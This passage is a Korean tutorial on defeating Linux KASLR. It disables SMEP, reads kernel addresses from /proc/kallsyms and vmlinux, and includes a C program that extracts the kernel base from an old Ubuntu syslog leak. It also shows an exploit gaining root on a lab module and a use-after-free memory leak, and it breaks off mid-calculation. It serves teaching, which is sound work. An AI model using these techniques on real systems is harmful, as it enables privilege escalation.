Excuse the ads! We need some help to keep our site up.

List

01. KASLR(Kernel Address Space Layout Randomization)

  • KASLR(Kernel Address Space Layout Randomization)는 커널의 기본 주소 값을 무작위로 만들어 커널 공격을 구현하기 어렵게 만드는 기능입니다.
    • 커널 메모리의 위치는 공격을 성공적으로 수행하는 데 도움이 되므로 위치를 무작위로 만드는 것은 Exploit의 구현을 어렵게 합니다.
    • KASLR이 적용된 환경에서 익스플로잇을 하기 위해서는 랜덤화 된 커널의 기본 주소를 찾아야합니다. 

Enable and Disable of KASLR

  • KASLR에 대한 테스트를 진행하기 위해 사용될 시스템의 환경은 다음과 같습니다.
Check the LSB(Linux Standard Base) information
lazenca0x0@ubuntu:~$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04.1 LTS
Release:	16.04
Codename:	xenial
lazenca0x0@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
lazenca0x0@ubuntu:~$ 

KASLR is not set

  • KASLR을 비활성화 하기 위해 다음과 같이 설정합니다.
    • "/etc/default/grub" 파일의 "GRUB_CMDLINE_LINUX_DEFAULT"의 값으로 "nokaslr"을 추가합니다.
Add "nokaslr" to "/etc/default/grub" file.
# If you change this file, run 'update-grub' afterwards to update
# /boot/grub/grub.cfg.
# For full documentation of the options in this file, see:
#   info -f grub -n 'Simple configuration'

GRUB_DEFAULT=0
GRUB_TIMEOUT_STYLE=hidden
GRUB_TIMEOUT=0
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="quiet nokaslr"
GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US"
...
  • "sudo update-grub" 명령을 실행하여 수정된 내용을 시스템에 반영합니다.

Run "update-grub"
lazenca0x0@ubuntu:~$ sudo update-grub
Generating grub configuration file ...
Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported.
Found linux image: /boot/vmlinuz-4.4.0-31-generic
Found initrd image: /boot/initrd.img-4.4.0-31-generic
Found memtest86+ image: /boot/memtest86+.elf
Found memtest86+ image: /boot/memtest86+.bin
done
lazenca0x0@ubuntu:~$
  • 다음과 같이 커널 함수의 주소를 확인 할 수 있습니다.
    • KASLR을 비활성화했기 때문에 시스템이 재부팅되어도 커널 함수의 주소가 변경되지 않습니다.
      • 첫번째 재부팅 후 "prepare_kernel_cred" 의 주소 : ffffffff810a2890
      • 두번째 재부팅 후 "prepare_kernel_cred" 의 주소 : ffffffff810a2890
Address for Kernel function is not changed.
lazenca0x0@ubuntu:~$ sudo reboot
$ ssh lazenca0x0@192.168.0.13
lazenca0x0@192.168.0.13's password: 
lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred
[sudo] password for lazenca0x0: 
ffffffff810a2890 T prepare_kernel_cred
ffffffff81d881d0 R __ksymtab_prepare_kernel_cred
ffffffff81da35b0 r __kcrctab_prepare_kernel_cred
ffffffff81db01e7 r __kstrtab_prepare_kernel_cred
lazenca0x0@ubuntu:~$

lazenca0x0@ubuntu:~$ sudo reboot
$ ssh lazenca0x0@192.168.0.13
lazenca0x0@192.168.0.13's password: 
lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred
[sudo] password for lazenca0x0: 
ffffffff810a2890 T prepare_kernel_cred
ffffffff81d881d0 R __ksymtab_prepare_kernel_cred
ffffffff81da35b0 r __kcrctab_prepare_kernel_cred
ffffffff81db01e7 r __kstrtab_prepare_kernel_cred
lazenca0x0@ubuntu:~$

Set KASLR

  • KASLR을 활성화 하기 위해 다음과 같이 설정합니다.
    • "/etc/default/grub" 파일의 "GRUB_CMDLINE_LINUX_DEFAULT"의 값으로 "nokaslr"을 제거하고 "kaslr"을 입력합니다.
Delete "nokaslr" to "/etc/default/grub" file.
# If you change this file, run 'update-grub' afterwards to update
# /boot/grub/grub.cfg.
# For full documentation of the options in this file, see:
#   info -f grub -n 'Simple configuration'

GRUB_DEFAULT=0
GRUB_TIMEOUT_STYLE=hidden
GRUB_TIMEOUT=0
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="quiet kaslr"
GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US"
...

Ubuntu 14.04

  • kASLR은 Ubuntu 14.10부터 사용할 수 있지만 기본적으로 활성화되어 있지 않습니다.
    • kaslr을 사용하려면 커널 명령 행에 "kaslr"옵션을 지정하십시오.
    • 참고 : kASLR을 활성화하면 최대 절전 모드로 전환하는 기능이 비활성화됩니다.
  • "sudo update-grub" 명령을 실행하여 수정된 내용을 시스템에 반영합니다.
Run "update-grub"
lazenca0x0@ubuntu:~$ sudo update-grub
Generating grub configuration file ...
Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported.
Found linux image: /boot/vmlinuz-4.4.0-31-generic
Found initrd image: /boot/initrd.img-4.4.0-31-generic
Found memtest86+ image: /boot/memtest86+.elf
Found memtest86+ image: /boot/memtest86+.bin
done
lazenca0x0@ubuntu:~$
  • 다음과 같이 커널 함수의 주소를 확인 할 수 있습니다.
    • KASLR을 활성화했기 때문에 시스템이 재부팅될 때마다 커널 함수의 주소가 변경됩니다.

      • 첫번째 재부팅 후 "prepare_kernel_cred" 의 주소 : ffffffff840a2890
      • 두번째 재부팅 후 "prepare_kernel_cred" 의 주소 : ffffffff9f0a2890
Address for Kernel function is changed.
lazenca0x0@ubuntu:~$ sudo reboot
$ ssh lazenca0x0@192.168.0.13
lazenca0x0@192.168.0.13's password: 
lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred
[sudo] password for lazenca0x0: 
ffffffff840a2890 T prepare_kernel_cred
ffffffff84d881d0 R __ksymtab_prepare_kernel_cred
ffffffff84da35b0 r __kcrctab_prepare_kernel_cred
ffffffff84db01e7 r __kstrtab_prepare_kernel_cred
lazenca0x0@ubuntu:~$ 

lazenca0x0@ubuntu:~$ sudo reboot
$ ssh lazenca0x0@192.168.0.13
lazenca0x0@192.168.0.13's password: 
lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred
[sudo] password for lazenca0x0: 
ffffffff9f0a2890 T prepare_kernel_cred
ffffffff9fd881d0 R __ksymtab_prepare_kernel_cred
ffffffff9fda35b0 r __kcrctab_prepare_kernel_cred
ffffffff9fdb01e7 r __kstrtab_prepare_kernel_cred
lazenca0x0@ubuntu:~$

How to find the memory address of kernel. 

  • 이번장에서는 공격자가 Kernel의 기본주소를 어떻게 얻을수 있는지 알아보겠습니다.

Use the vmlinux file

  • 다음과 같이 KASLR이 적용되지 않은 환경에서는 리눅스 커널 이미지인 "vmlinux" 파일을 이용하여 Kernel 함수들의 주소를 찾을 수 있습니다.

    • readelf 명령어를 이용하여 "vmlinux" 파일에서 prepare_kernel_cred 함수의 주소를 찾을 수 있습니다.

    • "/proc/kallsyms" 파일에서 찾은 prepare_kernel_cred 함수의 주소 값이 "vmlinux" 파일에서 찾은 값과 동일한 것을 확인 할 수 있습니다.

      • "vmlinux" 파일 : 0xffffffff810a2890

      • "/proc/kallsyms" 파일 : 0xffffffff810a2890
  • 하지만 최신의 Kernel들은 기본적으로 KASLR을 지원하고 있기 때문에 "vmlinux" 파일에서 찾은 커널 함수들의 주소를 공격에 활용하기 어렵습니다.
The prepare_kernel_cred function has the same address (vmlinux file and /proc/kallsyms file).
lazenca0x0@ubuntu:~$ readelf -s /usr/lib/debug/boot/vmlinux-4.4.0-31-generic |grep prepare_kernel_cred 
 92759: 00000000f1f7ede6     0 NOTYPE  GLOBAL DEFAULT  ABS __crc_prepare_kernel_cred
 97668: ffffffff810a2890    86 FUNC    GLOBAL DEFAULT    1 prepare_kernel_cred
lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred 
[sudo] password for lazenca0x0: 
ffffffff810a2890 T prepare_kernel_cred
ffffffff81d881d0 R __ksymtab_prepare_kernel_cred
ffffffff81da35b0 r __kcrctab_prepare_kernel_cred
ffffffff81db01e7 r __kstrtab_prepare_kernel_cred
lazenca0x0@ubuntu:~$
  • 그렇다고 해서 "vmlinux" 파일의 활용가치가 전혀 없는 것은 아닙니다.
    • 유저영역의 시스템 공격을 배울때 Gadget의 주소를 찾기 libc의 기본 주소에 Gadget의 offset 값을 더해서 정확한 Gadget의 주소를 찾아 공격에 활용하였습니다.
    • 공격자는 "vmlinux" 파일을 이용하여 공격할 Kernel 버전에 맞는 커널 함수의 offset 값을 얻을수 있습니다.
  • 다음과 같이 Kernel 함수의 offset 값을 확인 할 수 있습니다.
    • readelf 명령어를 이용하여 공격에 사용할 커널 함수의 주소(0xffffffff810a2890)를 확인합니다.
Find the address of the prepare_kernel_cred function in the vmlinux file.
lazenca0x0@ubuntu:~$ readelf -s /usr/lib/debug/boot/vmlinux-4.4.0-31-generic |grep prepare_kernel_cred 
 92759: 00000000f1f7ede6     0 NOTYPE  GLOBAL DEFAULT  ABS __crc_prepare_kernel_cred
 97668: ffffffff810a2890    86 FUNC    GLOBAL DEFAULT    1 prepare_kernel_cred
lazenca0x0@ubuntu:~$
  • offset값을 계산하기 위해 프로그램 코드 명령어가 저장되어 있는 .text 섹션의 시작 주소가 필요합니다.

    • readelf 명령어를 이용하여 .text 영역의 시작 주소(0xffffffff81000000)를 확인 합니다.

Check the base address of the .text area of ​​the vmlinux file.
lazenca0x0@ubuntu:~$ readelf -S /usr/lib/debug/boot/vmlinux-4.4.0-31-generic
There are 76 section headers, starting at offset 0x186adba8:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .text             PROGBITS         ffffffff81000000  00200000
       00000000008329c6  0000000000000000  AX       0     0     4096
  [ 2] .rela.text        RELA             0000000000000000  0b236e38
       00000000006133b0  0000000000000018   I      74     1     8
  [ 3] .notes            NOTE             ffffffff818329c8  00a329c8
       0000000000000204  0000000000000000  AX       0     0     4
  [ 4] .rela.notes       RELA             0000000000000000  0b84a1e8
       0000000000000030  0000000000000018   I      74     3     8
  [ 5] __ex_table        PROGBITS         ffffffff81832bd0  00a32bd0
       00000000000020c8  0000000000000000   A       0     0     8
  [ 6] .rela__ex_table   RELA             0000000000000000  0b84a218
       000000000000c4b0  0000000000000018   I      74     5     8
  [ 7] .rodata           PROGBITS         ffffffff81a00000  00c00000
       00000000003700a2  0000000000000000   A       0     0     64
  [ 8] .rela.rodata      RELA             0000000000000000  0b8566c8
       00000000002c7dc8  0000000000000018   I      74     7     8

...

  [73] .shstrtab         STRTAB           0000000000000000  186ad918
       000000000000028f  0000000000000000           0     0     1
  [74] .symtab           SYMTAB           0000000000000000  0add78a0
       00000000002647e0  0000000000000018          75   66628     8
  [75] .strtab           STRTAB           0000000000000000  0b03c080
       00000000001fadb7  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
lazenca0x0@ubuntu:~$ 
  • 이렇게 수집된 정보들을 이용하여 다음과 같이 커널 함수의 offset 값을 얻을 수 있습니다.

    • prepare_kernel_cred 함수의 주소(0xffffffff810a2890) - .text 섹션의 시작 주소(0xffffffff81000000) = 0xa2890

Get offset of prepare_kernel_cred function.
gdb-peda$ p 0xffffffff810a2890 - 0xffffffff81000000
$1 = 0xa2890
gdb-peda$

Use the "/proc/kallsyms" file

  • 공격자는 시스템의 설정에 따라 "/proc/kallsyms" 파일을 통해 커널 함수의 주소를 확인할 수 있습니다.
    • 해당 파일에는 다양한 커널 기능 장치 간의 협력을 보다 쉽게하기 위해 수천 개의 전역 심볼이 기록되어 관리되고 있습니다. 
    • 그리고 02.Debugging kernel and modules - Kernel Address Display Restriction(KADR)에서 설명 했지만, Kernel Address Display Restriction(KADR)이 비활성화 되어 있으면 일반 계정으로도 /proc/kallsyms 파일을 이용하여 심볼의 주소 정보를 확인할 수 있습니다.
  • 다음과 같이 kernel.kptr_restrict 설정 값(1)에 의해 일반 계정으로는 "/proc/kallsyms" 파일에서 심볼의 주소 정보를 확인할 수 없습니다.
General users cannot see the contents of the file.
lazenca0x0@ubuntu:~$ sysctl kernel.kptr_restrict
kernel.kptr_restrict = 1
lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred
ffffffff8b0a2890 T prepare_kernel_cred
ffffffff8bd881d0 R __ksymtab_prepare_kernel_cred
ffffffff8bda35b0 r __kcrctab_prepare_kernel_cred
ffffffff8bdb01e7 r __kstrtab_prepare_kernel_cred
lazenca0x0@ubuntu:~$ cat /proc/kallsyms |grep prepare_kernel_cred
0000000000000000 T prepare_kernel_cred
0000000000000000 R __ksymtab_prepare_kernel_cred
0000000000000000 r __kcrctab_prepare_kernel_cred
0000000000000000 r __kstrtab_prepare_kernel_cred
lazenca0x0@ubuntu:~$ 
  • 다음과 같이 kernel.kptr_restrict 설정값이 0일 경우 일반 계정으로 "/proc/kallsyms" 파일에서 심볼의 주소 정보를 확인할 수 있습니다.
    • KASLR이 설정된 환경에서도 일반 계정으로 심볼의 주소 정보를 확인할 수 있습니다.
If the value of "kernel.kptr_restrict" is set incorrectly, general users can check the contents of the file.
lazenca0x0@ubuntu:~$ sysctl kernel.kptr_restrict
kernel.kptr_restrict = 0
lazenca0x0@ubuntu:~$ cat /proc/kallsyms |grep prepare_kernel_cred
ffffffff8b0a2890 T prepare_kernel_cred
ffffffff8bd881d0 R __ksymtab_prepare_kernel_cred
ffffffff8bda35b0 r __kcrctab_prepare_kernel_cred
ffffffff8bdb01e7 r __kstrtab_prepare_kernel_cred
lazenca0x0@ubuntu:~$

Example - Use the "/proc/kallsyms" file

  • KASLR이 적용되어 있고 kernel.kptr_restrict 설정값이 0인 환경에서 "/proc/kallsyms"파일을 이용해 공격해보겠습니다.
  • 우선 테스트를 위해 다음과 같이 커널의 설정을 변경합니다.
    • "/etc/default/grub" 파일의 "GRUB_CMDLINE_LINUX_DEFAULT" 영역에 아래 명령들을 추가합니다.
      • SMEP 비활성화 : nosmep
      • KASLR 활성화 : kaslr
sudo vi /etc/default/grub
# If you change this file, run 'update-grub' afterwards to update
# /boot/grub/grub.cfg.
# For full documentation of the options in this file, see:
#   info -f grub -n 'Simple configuration'

GRUB_DEFAULT=0
GRUB_HIDDEN_TIMEOUT=0
GRUB_HIDDEN_TIMEOUT_QUIET=true
GRUB_TIMEOUT=10
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="quiet nosmep kaslr"
GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US"

# Uncomment to enable BadRAM filtering, modify to suit your needs
# This works with Linux (no patch required) and with any kernel that obtains
# the memory map information from GRUB (GNU Mach, kernel of FreeBSD ...)
#GRUB_BADRAM="0x01234567,0xfefefefe,0x89abcdef,0xefefefef"

# Uncomment to disable graphical terminal (grub-pc only)
#GRUB_TERMINAL=console

# The resolution used on graphical terminal
# note that you can use only modes which your graphic card supports via VBE
# you can see them in real GRUB with the command `vbeinfo'
#GRUB_GFXMODE=640x480

# Uncomment if you don't want GRUB to pass "root=UUID=xxx" parameter to Linux
#GRUB_DISABLE_LINUX_UUID=true

# Uncomment to disable generation of recovery mode menu entries
#GRUB_DISABLE_RECOVERY="true"

# Uncomment to get a beep at grub start
#GRUB_INIT_TUNE="480 440 1"
  • "sudo update-grub" 명령을 실행하여 수정된 내용을 시스템에 반영합니다.
Run "update-grub"
lazenca0x0@ubuntu:~$ sudo update-grub
Generating grub configuration file ...
Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported.
Found linux image: /boot/vmlinuz-4.4.0-31-generic
Found initrd image: /boot/initrd.img-4.4.0-31-generic
Found memtest86+ image: /boot/memtest86+.elf
Found memtest86+ image: /boot/memtest86+.bin
done
lazenca0x0@ubuntu:~$ reboot
  • 다음과 같이 취약서이 존재하는 커널 모듈을 등록하고 Exploit code를 실행하면, KASLR이 설정된 환경에서도 root권한을 획득할 수 있습니다.
    • 권한 획득이 가능한 이유는 kernel.kptr_restrict 설정값이 0이었기 때문에 일반권한으로 실행된 프로그램이 "/proc/kallsyms" 파일에서 exploit에 필요한 커널 함수의 주소 정보를 확인할 수 있었기 때문입니다.
Get root!
lazenca0x0@ubuntu:~/Exploit/ss$ sudo insmod ./chardev.ko 
lazenca0x0@ubuntu:~/Exploit/ss$ sudo chmod 666 /dev/chardev0 
lazenca0x0@ubuntu:~/Exploit/ss$ ./exploit
commit_creds address is :0xffffffff9f0a24a0
prepare_kernel_cred address is :0xffffffff9f0a2890
53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67  | SAW CTF challeng
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

f7 ce 78 4c 00 00 00 00 a0 2c 6c 00 00 00 00 00  | ��xL�,l
# id
uid=0(root) gid=0(root) groups=0(root)
#

Address leak of the kernel using Syslog.

  • Ubuntu trusty 4.4.0-* 와 Ubuntu xenial 4-8-0-* 커널들의 경우 Syslog를 통해 Kernel 메모리 주소를 확인 할 수 있습니다.

    • 커널에는 부팅될 때만 사용하는 함수와 변수들이 있으며, 이러한 함수와 변수는 부팅 이후 커널이 동작하는 동안에는 필요치 않기 때문에 커널의 부팅이 끝날 때 init 쓰레드가 실행되는 과정에서 free_initmem() 함수를 통해 해제됩니다.

    • 이러한 과정에서 다음과 같은 메시지가 출력되며, 해당 메시지에서 커널의 주소를 확인할 수 있습니다.
    • [ 1.003469] Freeing unused kernel memory: 1480K (ffffffff90f42000 - ffffffff910b4000)

Find the kernel's address in syslog file.
lazenca0x0@ubuntu:~/Exploit$ dmesg |grep "Freeing unused"
[    1.075925] Freeing unused kernel memory: 1480K (ffffffffa9f42000 - ffffffffaa0b4000)
[    1.076181] Freeing unused kernel memory: 1836K (ffff880029835000 - ffff880029a00000)
[    1.076435] Freeing unused kernel memory: 156K (ffff880029dd9000 - ffff880029e00000)
lazenca0x0@ubuntu:~/Exploit$ 
  • syslog를 통해 얻은 커널의 주소를 활용하기 위해 다음과 같이 offset 값을 알아야합니다.

    • /proc/kallsyms 파일을 이용하여 커널의 기본주소를 확인합니다.

      • prepare_kernel_cred 함수의 주소(0xffffffffa90a2890) - prepare_kernel_cred 함수의 offset 값(0xa2890) = 커널의 기본주소 (0xffffffffa9000000)

      • syslog를 통해 얻은 커널의 주소(0xffffffffaa0b4000) - 커널의 기본주소 (0xffffffffa9000000) = offset 값(0x10b4000)

Calculate the offset.
lazenca0x0@ubuntu:~/Exploit$ sudo cat /proc/kallsyms |grep prepare_kernel_cred
[sudo] password for lazenca0x0: 
ffffffffa90a2890 T prepare_kernel_cred
ffffffffa9d881d0 R __ksymtab_prepare_kernel_cred
ffffffffa9da35b0 r __kcrctab_prepare_kernel_cred
ffffffffa9db01e7 r __kstrtab_prepare_kernel_cred
lazenca0x0@ubuntu:~/Exploit$ gdb -q
gdb-peda$ p 0xffffffffa90a2890 - 0xa2890
$1 = 0xffffffffa9000000
gdb-peda$ p 0xffffffffaa0b4000 - 0xffffffffa9000000
$2 = 0x10b4000
gdb-peda$
  • 다음과 같이 syslog를 이용하여 커널의 기본 주소를 확인할 수 있습니다.

    • syslog를 통해 얻은 커널의 주소(0xffffffffb30b4000) - offset 값(0x10b4000) = 커널의 기본주소 (0xffffffffb2000000)

Find the base address of the kernel.
lazenca0x0@ubuntu:~$ dmesg |grep "Freeing unused"
[    1.279612] Freeing unused kernel memory: 1480K (ffffffffb2f42000 - ffffffffb30b4000)
[    1.279850] Freeing unused kernel memory: 1836K (ffff880032835000 - ffff880032a00000)
[    1.280087] Freeing unused kernel memory: 156K (ffff880032dd9000 - ffff880032e00000)
lazenca0x0@ubuntu:~$ gdb -q
gdb-peda$ p 0xffffffffb30b4000 - 0x10b4000
$1 = 0xffffffffb2000000
gdb-peda$
  • 다음과 같이 코드를 작성하여 조금더 쉽게 커널의 기본 주소를 확인 할 수 있습니다.
    • get_syslog() 함수를 이용하여 커널 코드의 내용을 읽어 메모리에 저장합니다.
      • klogctl() 함수를 이용하여 커널 로그 버터의 총 크기를 확인합니다.
      • mmap() 함수를 이용하여 커널 로그를 저장할 메모리 영역을 할당합니다.
      • klogctl() 함수를 이용하여 ring buffer에 남아있는 모든 메시지를 읽어서 buffer 영역에 저장합니다.
    • get_kernel_addr() 함수를 이용하여 syslog에서 커널의 주소를 찾고, 해당 주소를 이용하여 커널의 기본주소를 계산하여 리턴합니다.
      • memmem() 함수를 이용하여 커널 로그에서 "Freeing unused kernel memory"를 찾아서 문자열의 시작 부분에 대한 포인터를 substr변수에 저장합니다.
      • strchr(), strrchr() 함수를 이용하여 커널 기본 주소를 계산할 때 사용할 커널 주소 값의 시작과 끝의 위치 값을 확인합니다.
      • memmem() 함수를 이용하여 substr 영역에서 "ffffffff"를 찾아서 문자열의 시작 부분에 대한 포인터를 substr변수에 저장합니다.
      • strtoul() 함수를 이용하여 커널 함수의 주소 값만을 문자열에서 숫자로 변환하여, addr 변수에 저장합니다.
addr.c
#define _GNU_SOURCE
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
#include <sys/klog.h>
#include <sys/mman.h>
 
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

void get_syslog(char **buffer, int *size){
 
    *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
    if(*size == -1){
        perror("Error");
    }
 
    int pagesize = getpagesize();
    *size = (*size / pagesize + 1) * pagesize;
    *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 
    *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
    if (*size == -1) {
        perror("Error");
    }
     
}
 
unsigned long get_kernel_addr (char *buffer, int size){
    const char *needle = "Freeing unused kernel memory";

    char* substr = (char*)memmem(&buffer[0], size, needle, strlen(needle));
    if (substr == NULL) {
        printf("%s not found\n", needle);
    }
     
    int start = 0;
    int end = 0;
    start = strchr(substr,'-') - substr;
    end = strrchr(substr,'\n') - substr;
  
    const char *needle2 = "ffffffff";
    substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
    if (substr == NULL) {
            fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
            exit(EXIT_FAILURE);
    }
  
    char *endptr = &substr[16];
    unsigned long addr = strtoul(&substr[0], &endptr, 16);
    addr -= 0x10b4000ul;
  
    return addr;
}
 
void main(){
    char *syslog;
    int size;
 
    get_syslog(&syslog, &size);
    unsigned long is_kernel_base_addr = get_kernel_addr(syslog, size);
    printf("The base address of the kernel is '0x%lx'\n", is_kernel_base_addr);
}
  • 다음과 같이 프로그램을 통해 간단히 커널의 기본주소를 확인할 수 있습니다.
Find the base address of the kernel using a program.
lazenca0x0@ubuntu:~/Exploit$ gcc -o addr addr.c
lazenca0x0@ubuntu:~/Exploit$ ./addr
The base address of the kernel is '0xffffffffa9000000'
lazenca0x0@ubuntu:~/Exploit$
  • 하지만 이러한 취약성은 Ubuntu bionic 5.0.0 에서 수정되었습니다.
This bug has been fixed.
...
[    2.590928] rtc_cmos 00:01: setting system clock to 2019-09-26 09:46:58 UTC (1569491218)
[    2.702268] Freeing unused kernel image memory: 2456K
[    2.716264] Write protecting the kernel read-only data: 20480k
[    2.717033] Freeing unused kernel image memory: 2008K
[    2.717427] Freeing unused kernel image memory: 1900K
[    2.724026] x86/mm: Checked W+X mappings: passed, no W+X pages found.
...

Address leak of the kernel using vulnerability.

  • 다음과 같이 취약성을 통해 Kernel 주소 정보를 얻을 수 있습니다.

  • 커널 모듈을 등록하고 PoC-3 파일을 실행하면, 취약성에 의해 메모리에 저장된 데이터가 출력됩니다.

    • 출력된 데이터 중에서 2번째 줄에 "c0 2c a7 a0 ff ff ff ff"이라는 데이터가 존재합니다

    • 이 데이터를 커널 주소의 형태로 변경하면 0xffffffff87a72cc0이가 되고, 이 값은 커널 영역의 주소입니다.
    • 공격자는 이 주소(0xffffffff87a72cc0)를 이용하여 커널의 기본 주소를 계산할 수 있습니다.

Use the vulnerability to leak information from memory.
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo rmmod chardev 
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo insmod ./chardev.ko 
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo chmod 666 /dev/chardev0 
lazenca0x0@ubuntu:~/Exploit/uaf$ ./PoC-3
01 54 00 00 01 00 00 00 00 00 00 00 00 00 00 00  | T
00 be 00 35 00 88 ff ff c0 2c a7 87 ff ff ff ff  | �5����,������
04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 38 28 cd 38 00 88 ff ff  | 8(�8���
38 28 cd 38 00 88 ff ff 48 28 cd 38 00 88 ff ff  | 8(�8���H(�8���
48 28 cd 38 00 88 ff ff 30 90 8b 39 00 88 ff ff  | H(�8���0��9���
01 00 00 00 00 00 00 00 68 28 cd 38 00 88 ff ff  | h(�8���
68 28 cd 38 00 88 ff ff 00 00 00 00 00 00 00 00  | h(�8���
00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00  | 
90 28 cd 38 00 88 ff ff 90 28 cd 38 00 88 ff ff  | �(�8����(�8���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
01 00 00 00 00 00 00 00 b8 28 cd 38 00 88 ff ff  | �(�8���
b8 28 cd 38 00 88 ff ff 00 00 00 00 00 00 00 00  | �(�8���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
e0 28 cd 38 00 88 ff ff e0 28 cd 38 00 88 ff ff  | �(�8����(�8���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
01 00 00 00 00 00 00 00 08 29 cd 38 00 88 ff ff  | )�8���
08 29 cd 38 00 88 ff ff 00 00 00 00 00 00 00 00  |)�8���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 bf 00 00 00 00 00 00 00  | �
00 03 1c 7f 15 04 00 01 00 11 13 1a 00 12 0f 17  | 
16 00 00 00 00 96 00 00 00 96 00 00 00 00 00 00  | ��
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
70 74 6d 34 00 00 00 00 00 00 00 00 00 00 00 00  | ptm4
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
01 08 01 00 00 00 00 00 01 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 a0 d2 39 00 88 ff ff  | ��9���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 38 2a cd 38 00 88 ff ff  | 8*�8���
38 2a cd 38 00 88 ff ff 00 00 00 00 00 00 00 00  | 8*�8���
50 2a cd 38 00 88 ff ff 50 2a cd 38 00 88 ff ff  | P*�8���P*�8���
e0 ff ff ff 0f 00 00 00 68 2a cd 38 00 88 ff ff  | ����h*�8���
68 2a cd 38 00 88 ff ff 50 96 4e 87 ff ff ff ff  | h*�8���P�N�����
00 c0 36 00 00 c9 ff ff 98 5c 57 3b 00 88 ff ff  | �6����\W;���
d0 6b 1f 30 00 88 ff ff d0 6b 1f 30 00 88 ff ff  | �k0����k0���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 e0 ff ff ff 0f 00 00 00  | ����
c0 2a cd 38 00 88 ff ff c0 2a cd 38 00 88 ff ff  | �*�8����*�8���
d0 b6 4e 87 ff ff ff ff 00 12 6d 32 00 88 ff 00  | жN�����m2��
lazenca0x0@ubuntu:~/Exploit/uaf$ 
  • 커널의 기본 주소를 얻기 위해서는 취약성으로 통해 유출된 주소가 커널의 기본주소와 얼마나 떨어져 있는지 offset값을 알아야 합니다.
    • offset 값을 확인하기 위해 우선 커널의 기본주소를 알아야 합니다.
      • prepare_kernel_cred(0xffffffff870a2890) - 커널의 기본주소로 부터 prepare_kernel_cred 함수 까지의 offset(0xa2890) = 0xffffffff87000000
    • 이렇게 알게 된 커널의 기본 주소를 이용하여 유출된 주소가 커널의 기본 주소로 부터 얼마나 떨어져 있는지 알 수 있습니다.
      • 취약성을 통해 유출된 커널의 주소(0xffffffff87a72cc0) - 커널의 기본 주소(0xffffffff87000000) = 0xa72cc0
Calculate the offset.
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo cat /proc/kallsyms |grep prepare_kernel_cred
ffffffff870a2890 T prepare_kernel_cred
ffffffff87d881d0 R __ksymtab_prepare_kernel_cred
